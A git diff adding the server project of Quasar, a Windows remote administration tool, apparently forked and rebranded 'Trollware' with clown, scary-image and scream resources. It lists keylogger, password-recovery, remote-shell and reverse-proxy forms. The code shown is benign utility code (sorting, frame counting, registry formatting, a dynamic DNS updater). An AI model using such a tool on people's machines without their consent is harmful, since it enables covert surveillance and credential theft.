[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.8.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default { + get { + return defaultInstance; + } + } + } +} diff --git a/Quasar.Server/Properties/Settings.settings b/Quasar.Server/Properties/Settings.settings new file mode 100644 index 0000000..3964565 --- /dev/null +++ b/Quasar.Server/Properties/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/Quasar.Server/Quasar.Server.csproj b/Quasar.Server/Quasar.Server.csproj new file mode 100644 index 0000000..df0b6ac --- /dev/null +++ b/Quasar.Server/Quasar.Server.csproj @@ -0,0 +1,326 @@ + + + net461 + WinExe + Trollware + true + false + true + + + Quasar.Server.Program + + + clown.ico + + + app.manifest + + + + + + + ..\bin\Debug\ + true + false + MinimumRecommendedRules.ruleset + + + ..\bin\Release\ + true + none + false + MinimumRecommendedRules.ruleset + + + + + + + + + + Component + + + Component + + + Component + + + Component + + + Component + + + Component + + + WordTextBox.cs + + + Form + + + FrmCertificate.cs + + + Form + + + FrmAbout.cs + + + Form + + + FrmStartupAdd.cs + + + Form + + + FrmBuilder.cs + + + Form + + + FrmConnections.cs + + + Form + + + FrmFileManager.cs + + + Form + + + FrmKeylogger.cs + + + Form + + + FrmMain.cs + + + Component + + + Form + + + FrmPasswordRecovery.cs + + + Form + + + FrmRegistryEditor.cs + + + Form + + + FrmRegValueEditBinary.cs + + + Form + + + FrmRegValueEditMultiString.cs + + + Form + + + FrmRegValueEditString.cs + + + Form + + + FrmRegValueEditWord.cs + + + Form + + + FrmRemoteDesktop.cs + + + Form + + + FrmRemoteShell.cs + + + Form + + + FrmReverseProxy.cs + + + Form + + + FrmSettings.cs + + + Form + + + FrmShowMessagebox.cs + + + Form + + + FrmStartupManager.cs + + + Form + + + FrmSystemInformation.cs + + + Form + + + FrmTaskManager.cs + + + Form + + + FrmVisitWebsite.cs + + + Form + + + FrmRemoteExecution.cs + + + FrmAbout.cs + + + FrmCertificate.cs + + + FrmStartupAdd.cs + + + FrmBuilder.cs + + + FrmConnections.cs + + + FrmFileManager.cs + + + FrmKeylogger.cs + + + FrmMain.cs + Designer + + + FrmPasswordRecovery.cs + + + FrmRegistryEditor.cs + + + FrmRegValueEditBinary.cs + + + FrmRegValueEditMultiString.cs + + + FrmRegValueEditString.cs + + + FrmRegValueEditWord.cs + + + FrmRemoteDesktop.cs + Designer + + + FrmRemoteShell.cs + + + FrmReverseProxy.cs + + + FrmSettings.cs + + + FrmShowMessagebox.cs + + + FrmStartupManager.cs + + + FrmSystemInformation.cs + + + FrmTaskManager.cs + + + FrmVisitWebsite.cs + + + FrmRemoteExecution.cs + + + ResXFileCodeGenerator + Designer + Resources.Designer.cs + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + + + + 0.11.4 + + + + 5.6.0 + + + + + 2.4.8 + + + 2.1.0 + + + + \ No newline at end of file diff --git a/Quasar.Server/Registry/RegValueHelper.cs b/Quasar.Server/Registry/RegValueHelper.cs new file mode 100644 index 0000000..71110d9 --- /dev/null +++ b/Quasar.Server/Registry/RegValueHelper.cs @@ -0,0 +1,44 @@ +using Microsoft.Win32; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using System; + +namespace Quasar.Server.Registry +{ + public class RegValueHelper + { + private static string DEFAULT_REG_VALUE = "(Default)"; + + public static bool IsDefaultValue(string valueName) + { + return String.IsNullOrEmpty(valueName); + } + + public static string GetName(string valueName) + { + return IsDefaultValue(valueName) ? DEFAULT_REG_VALUE : valueName; + } + + public static string RegistryValueToString(RegValueData value) + { + switch (value.Kind) + { + case RegistryValueKind.Binary: + return value.Data.Length > 0 ? BitConverter.ToString(value.Data).Replace("-", " ").ToLower() : "(zero-length binary value)"; + case RegistryValueKind.MultiString: + return string.Join(" ", ByteConverter.ToStringArray(value.Data)); + case RegistryValueKind.DWord: + var dword = ByteConverter.ToUInt32(value.Data); + return $"0x{dword:x8} ({dword})"; // show hexadecimal and decimal + case RegistryValueKind.QWord: + var qword = ByteConverter.ToUInt64(value.Data); + return $"0x{qword:x8} ({qword})"; // show hexadecimal and decimal + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + return ByteConverter.ToString(value.Data); + default: + return string.Empty; + } + } + } +} diff --git a/Quasar.Server/Resources/scary.gif b/Quasar.Server/Resources/scary.gif new file mode 100644 index 0000000..9031495 Binary files /dev/null and b/Quasar.Server/Resources/scary.gif differ diff --git a/Quasar.Server/Resources/scream.wav b/Quasar.Server/Resources/scream.wav new file mode 100644 index 0000000..24f847f Binary files /dev/null and b/Quasar.Server/Resources/scream.wav differ diff --git a/Quasar.Server/Utilities/FrameCounter.cs b/Quasar.Server/Utilities/FrameCounter.cs new file mode 100644 index 0000000..895d338 --- /dev/null +++ b/Quasar.Server/Utilities/FrameCounter.cs @@ -0,0 +1,60 @@ +using System; +using System.Collections.Generic; +using System.Linq; + +namespace Quasar.Server.Utilities +{ + public class FrameUpdatedEventArgs : EventArgs + { + public float CurrentFramesPerSecond { get; private set; } + + public FrameUpdatedEventArgs(float _CurrentFramesPerSecond) + { + CurrentFramesPerSecond = _CurrentFramesPerSecond; + } + } + + public delegate void FrameUpdatedEventHandler(FrameUpdatedEventArgs e); + + public class FrameCounter + { + public long TotalFrames { get; private set; } + public float TotalSeconds { get; private set; } + public float AverageFramesPerSecond { get; private set; } + + public const int MAXIMUM_SAMPLES = 100; + + private Queue _sampleBuffer = new Queue(); + + public event FrameUpdatedEventHandler FrameUpdated; + + public void Update(float deltaTime) + { + float currentFramesPerSecond = 1.0f / deltaTime; + + _sampleBuffer.Enqueue(currentFramesPerSecond); + + if (_sampleBuffer.Count > MAXIMUM_SAMPLES) + { + _sampleBuffer.Dequeue(); + AverageFramesPerSecond = _sampleBuffer.Average(i => i); + } + else + { + AverageFramesPerSecond = currentFramesPerSecond; + } + + OnFrameUpdated(new FrameUpdatedEventArgs(AverageFramesPerSecond)); + + TotalFrames++; + TotalSeconds += deltaTime; + } + + protected virtual void OnFrameUpdated(FrameUpdatedEventArgs e) + { + FrameUpdatedEventHandler handler = FrameUpdated; + if (handler != null) + handler(e); + } + } +} \ No newline at end of file diff --git a/Quasar.Server/Utilities/ListViewColumnSorter.cs b/Quasar.Server/Utilities/ListViewColumnSorter.cs new file mode 100644 index 0000000..908ebe2 --- /dev/null +++ b/Quasar.Server/Utilities/ListViewColumnSorter.cs @@ -0,0 +1,141 @@ +using Quasar.Server.Models; +using System.Collections; +using System.Windows.Forms; + +namespace Quasar.Server.Utilities +{ + public class ListViewColumnSorter : IComparer + { + /// + /// Specifies the column to be sorted + /// + private int _columnToSort; + + /// + /// Specifies the order in which to sort (i.e. 'Ascending'). + /// + private SortOrder _orderOfSort; + + /// + /// Case insensitive comparer object + /// + private readonly CaseInsensitiveComparer _objectCompare; + + /// + /// Specifies if number or text comparision is needed + /// + private bool _needNumberCompare; + + /// + /// Class constructor. Initializes various elements + /// + public ListViewColumnSorter() + { + // Initialize the column to '0' + _columnToSort = 0; + + // Initialize the sort order to 'none' + _orderOfSort = SortOrder.None; + + // Initialize the CaseInsensitiveComparer object + _objectCompare = new CaseInsensitiveComparer(); + + _needNumberCompare = false; + } + + /// + /// This method is inherited from the IComparer interface. It compares the two objects passed using a case insensitive comparison. + /// + /// First object to be compared + /// Second object to be compared + /// The result of the comparison. "0" if equal, negative if 'x' is less than 'y' and positive if 'x' is greater than 'y' + public int Compare(object x, object y) + { + // Cast the objects to be compared to ListViewItem objects + var listviewX = (ListViewItem) x; + var listviewY = (ListViewItem) y; + + if (listviewX.SubItems[0].Text == ".." || listviewY.SubItems[0].Text == "..") + return 0; + + // Compare the two items + int compareResult; + + if (_needNumberCompare) + { + long a, b; + + if (listviewX.Tag is FileManagerListTag) + { + // fileSize to be compared + a = (listviewX.Tag as FileManagerListTag).FileSize; + b = (listviewY.Tag as FileManagerListTag).FileSize; + compareResult = a >= b ? (a == b ? 0 : 1) : -1; + + } + else + { + if (long.TryParse(listviewX.SubItems[_columnToSort].Text, out a) + && long.TryParse(listviewY.SubItems[_columnToSort].Text, out b)) + { + compareResult = a >= b ? (a == b ? 0 : 1) : -1; + } + else + { + compareResult = _objectCompare.Compare(listviewX.SubItems[_columnToSort].Text, + listviewY.SubItems[_columnToSort].Text); + } + } + } + else + { + compareResult = _objectCompare.Compare(listviewX.SubItems[_columnToSort].Text, + listviewY.SubItems[_columnToSort].Text); + } + + // Calculate correct return value based on object comparison + if (_orderOfSort == SortOrder.Ascending) + { + // Ascending sort is selected, return normal result of compare operation + return compareResult; + } + else if (_orderOfSort == SortOrder.Descending) + { + // Descending sort is selected, return negative result of compare operation + return (-compareResult); + } + else + { + // Return '0' to indicate they are equal + return 0; + } + } + + /// + /// Gets or sets the number of the column to which to apply the sorting operation (Defaults to '0'). + /// + public int SortColumn + { + set { _columnToSort = value; } + get { return _columnToSort; } + } + + /// + /// Gets or sets the order of sorting to apply (for example, 'Ascending' or 'Descending'). + /// + public SortOrder Order + { + set { _orderOfSort = value; } + get { return _orderOfSort; } + } + + /// + /// Specifies if number or text comparision is needed. + /// + public bool NeedNumberCompare + { + set { _needNumberCompare = value; } + get { return _needNumberCompare; } + } + } +} \ No newline at end of file diff --git a/Quasar.Server/Utilities/NativeMethods.cs b/Quasar.Server/Utilities/NativeMethods.cs new file mode 100644 index 0000000..b0e8e7c --- /dev/null +++ b/Quasar.Server/Utilities/NativeMethods.cs @@ -0,0 +1,47 @@ +using System; +using System.Runtime.InteropServices; + +namespace Quasar.Server.Utilities +{ + /// + /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll). + /// + public static class NativeMethods + { + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] + internal struct LVITEM + { + public uint mask; + public int iItem; + public int iSubItem; + public int state; + public int stateMask; + [MarshalAs(UnmanagedType.LPTStr)] + public string pszText; + public int cchTextMax; + public int iImage; + public IntPtr lParam; + public int iIndent; + public int iGroupId; + public uint cColumns; + public IntPtr puColumns; + public IntPtr piColFmt; + public int iGroup; + }; + + [DllImport("user32.dll", CharSet = CharSet.Auto)] + internal static extern IntPtr SendMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll", CharSet = CharSet.Auto, EntryPoint = "SendMessage")] + internal static extern IntPtr SendMessageListViewItem(IntPtr hWnd, uint msg, IntPtr wParam, ref LVITEM lParam); + + [DllImport("user32.dll")] + internal static extern bool RegisterHotKey(IntPtr hWnd, int id, uint fsModifiers, int vk); + + [DllImport("user32.dll")] + internal static extern bool UnregisterHotKey(IntPtr hWnd, int id); + + [DllImport("uxtheme.dll", CharSet = CharSet.Unicode)] + internal static extern int SetWindowTheme(IntPtr hWnd, string pszSubAppName, string pszSubIdList); + } +} diff --git a/Quasar.Server/Utilities/NoIpUpdater.cs b/Quasar.Server/Utilities/NoIpUpdater.cs new file mode 100644 index 0000000..a388eb9 --- /dev/null +++ b/Quasar.Server/Utilities/NoIpUpdater.cs @@ -0,0 +1,47 @@ +using Quasar.Server.Models; +using System; +using System.Net; +using System.Text; +using System.Threading; + +namespace Quasar.Server.Utilities +{ + public static class NoIpUpdater + { + private static bool _running; + + public static void Start() + { + if (_running) return; + Thread updateThread = new Thread(BackgroundUpdater) {IsBackground = true}; + updateThread.Start(); + } + + private static void BackgroundUpdater() + { + _running = true; + while (Settings.EnableNoIPUpdater) + { + try + { + HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(string.Format("https://dynupdate.no-ip.com/nic/update?hostname={0}", Settings.NoIPHost)); + request.Proxy = null; + request.UserAgent = string.Format("Quasar No-Ip Updater/2.0 {0}", Settings.NoIPUsername); + request.Timeout = 10000; + request.Headers.Add(HttpRequestHeader.Authorization, string.Format("Basic {0}", Convert.ToBase64String(Encoding.ASCII.GetBytes(string.Format("{0}:{1}", Settings.NoIPUsername, Settings.NoIPPassword))))); + request.Method = "GET"; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + } + } + catch + { + } + + Thread.Sleep(TimeSpan.FromMinutes(10)); + } + _running = false; + } + } +} diff --git a/Quasar.Server/app.manifest b/Quasar.Server/app.manifest new file mode 100644 index 0000000..bf4e01a --- /dev/null +++ b/Quasar.Server/app.manifest @@ -0,0 +1,44 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + true/pm + PerMonitorV2, PerMonitor + true + + + + + + + + \ No newline at end of file diff --git a/Quasar.Server/clown.ico b/Quasar.Server/clown.ico new file mode 100644 index 0000000..6190cda Binary files /dev/null and b/Quasar.Server/clown.ico differ diff --git a/Quasar.sln b/Quasar.sln new file mode 100644 index 0000000..ec2deab --- /dev/null +++ b/Quasar.sln @@ -0,0 +1,43 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30104.148 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Server", "Quasar.Server\Quasar.Server.csproj", "{14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}" +EndProject +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Client", "Quasar.Client\Quasar.Client.csproj", "{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}" +EndProject +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Common", "Quasar.Common\Quasar.Common.csproj", "{C7C363BA-E5B6-4E18-9224-39BC8DA73172}" +EndProject +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Common.Tests", "Quasar.Common.Tests\Quasar.Common.Tests.csproj", "{32A2A734-7429-47E6-A362-E344A19C0D85}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|AnyCPU = Debug|AnyCPU + Release|AnyCPU = Release|AnyCPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|AnyCPU.Build.0 = Release|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|AnyCPU.Build.0 = Release|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|AnyCPU.Build.0 = Release|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Release|AnyCPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {83BA842F-789A-4E7C-827D-AE8A710862A1} + EndGlobalSection +EndGlobal diff --git a/README.md b/README.md new file mode 100644 index 0000000..edb20f1 --- /dev/null +++ b/README.md @@ -0,0 +1,79 @@ +# Quasar + +[![Build status](https://ci.appveyor.com/api/projects/status/5857hfy6r1ltb5f2?svg=true)](https://ci.appveyor.com/project/MaxXor/quasar) +[![Downloads](https://img.shields.io/github/downloads/quasar/Quasar/total.svg)](https://github.com/quasar/Quasar/releases) +[![License](https://img.shields.io/github/license/quasar/Quasar.svg)](LICENSE) + +**Free, Open-Source Remote Administration Tool for Windows** + +Quasar is a fast and light-weight remote administration tool coded in C#. The usage ranges from user support through day-to-day administrative work to employee monitoring. Providing high stability and an easy-to-use user interface, Quasar is the perfect remote administration solution for you. + +## Screenshots + +![remote-shell](Images/remote-shell.png) + +![remote-desktop](Images/remote-desktop.png) + +![remote-files](Images/remote-files.png) + +## Features +* TCP network stream (IPv4 & IPv6 support) +* Fast network serialization (Protocol Buffers) +* Encrypted communication (TLS) +* UPnP Support (automatic port forwarding) +* Task Manager +* File Manager +* Startup Manager +* Remote Desktop +* Remote Shell +* Remote Execution +* System Information +* Registry Editor +* System Power Commands (Restart, Shutdown, Standby) +* Keylogger (Unicode Support) +* Reverse Proxy (SOCKS5) +* Password Recovery (Common Browsers and FTP Clients) +* ... and many more! + +## Download +* [Latest stable release](https://github.com/quasar/Quasar/releases) (recommended) +* [Latest development snapshot](https://ci.appveyor.com/project/MaxXor/quasar) + +## Supported runtimes and operating systems +* .NET Framework 4.5.2 or higher +* Supported operating systems (32- and 64-bit) + * Windows 11 + * Windows Server 2022 + * Windows 10 + * Windows Server 2019 + * Windows Server 2016 + * Windows 8/8.1 + * Windows Server 2012 + * Windows 7 + * Windows Server 2008 R2 +* For older systems please use [Quasar version 1.3.0](https://github.com/quasar/Quasar/releases/tag/v1.3.0.0) + +## Compiling +Open the project `Quasar.sln` in Visual Studio 2019+ with installed .NET desktop development features and [restore the NuGET packages](https://docs.microsoft.com/en-us/nuget/consume-packages/package-restore). Once all packages are installed the project can be compiled as usual by clicking `Build` at the top or by pressing `F6`. The resulting executables can be found in the `Bin` directory. See below which build configuration to choose from. + +## Building a client +| Build configuration | Usage scenario | Description +| ----------------------------|----------------|-------------- +| Debug configuration | Testing | The pre-defined [Settings.cs](/Quasar.Client/Config/Settings.cs) will be used, so edit this file before compiling the client. You can execute the client directly with the specified settings. +| Release configuration | Production | Start `Quasar.exe` and use the client builder. + +## Contributing +See [CONTRIBUTING.md](CONTRIBUTING.md) + +## Roadmap +See [ROADMAP.md](ROADMAP.md) + +## Documentation +See the [wiki](https://github.com/quasar/Quasar/wiki) for usage instructions and other documentation. + +## License +Quasar is distributed under the [MIT License](LICENSE). +Third-party licenses are located [here](Licenses). + +## Thank you! +I really appreciate all kinds of feedback and contributions. Thanks for using and supporting Quasar! diff --git a/ROADMAP.md b/ROADMAP.md new file mode 100644 index 0000000..edeec62 --- /dev/null +++ b/ROADMAP.md @@ -0,0 +1,25 @@ +# Quasar Roadmap + +## Web API +A web API (e.g. REST-like) allows to interact with the clients in more flexible ways and can be used to build a web interface for Quasar. + +## Transparent communication protocol +To open up the way for Quasar clients in different programming languages the communication protocol needs to be clearly specified and documented. + +## Cross-platform support +A long-term goal is to support operating systems such as MacOS and Linux. The new .NET Core framework will help achieve this goal. + +## Command line (CLI) version of the server +It should be possible to use the server as a simple CLI tool to accept and forward (proxy) connections to other servers. + +## GUI overhaul +The GUI needs to be reworked in a more modern way, such as WPF or a web-based interface. WPF as GUI framework would drastically improve rendering performance of the remote desktop with the hardware accelerated rendering, similar to a web-based GUI depending on the used browser. + +## Allow different types of clients (permissioned clients) +Allow clients with higher privileges (i.e. ability to administrate other lower privileged clients) connect to the server. This change would allow administrators to manage clients from their own computers with a lightweight client without having to run the server. + +## Allow client installation as Windows service +Currently the client is installed on a per-user basis and this makes it unflexible to remotly manage the machine when the user is not logged in. it also requires the client to be installed for every account who uses the machine. Machines which are used by multiple users would greatly benefit when Quasar could be run as a Windows service. + +## Basic client GUI +Add a basic GUI to the client to allow the user at any time to check the status if a specific feature is active. Additionally it can show a notification when the client gets installed or when someone requests permission to use remote desktop (similar to teamviewer). diff --git a/appveyor.yml b/appveyor.yml new file mode 100644 index 0000000..c4bea75 --- /dev/null +++ b/appveyor.yml @@ -0,0 +1,20 @@ +version: BUILD{build} + +image: Visual Studio 2019 +shallow_clone: true + +configuration: +- Debug +- Release + +before_build: + - nuget restore + +build: + project: Quasar.sln + parallel: true + verbosity: minimal + +artifacts: +- path: Bin + name: binaries \ No newline at end of file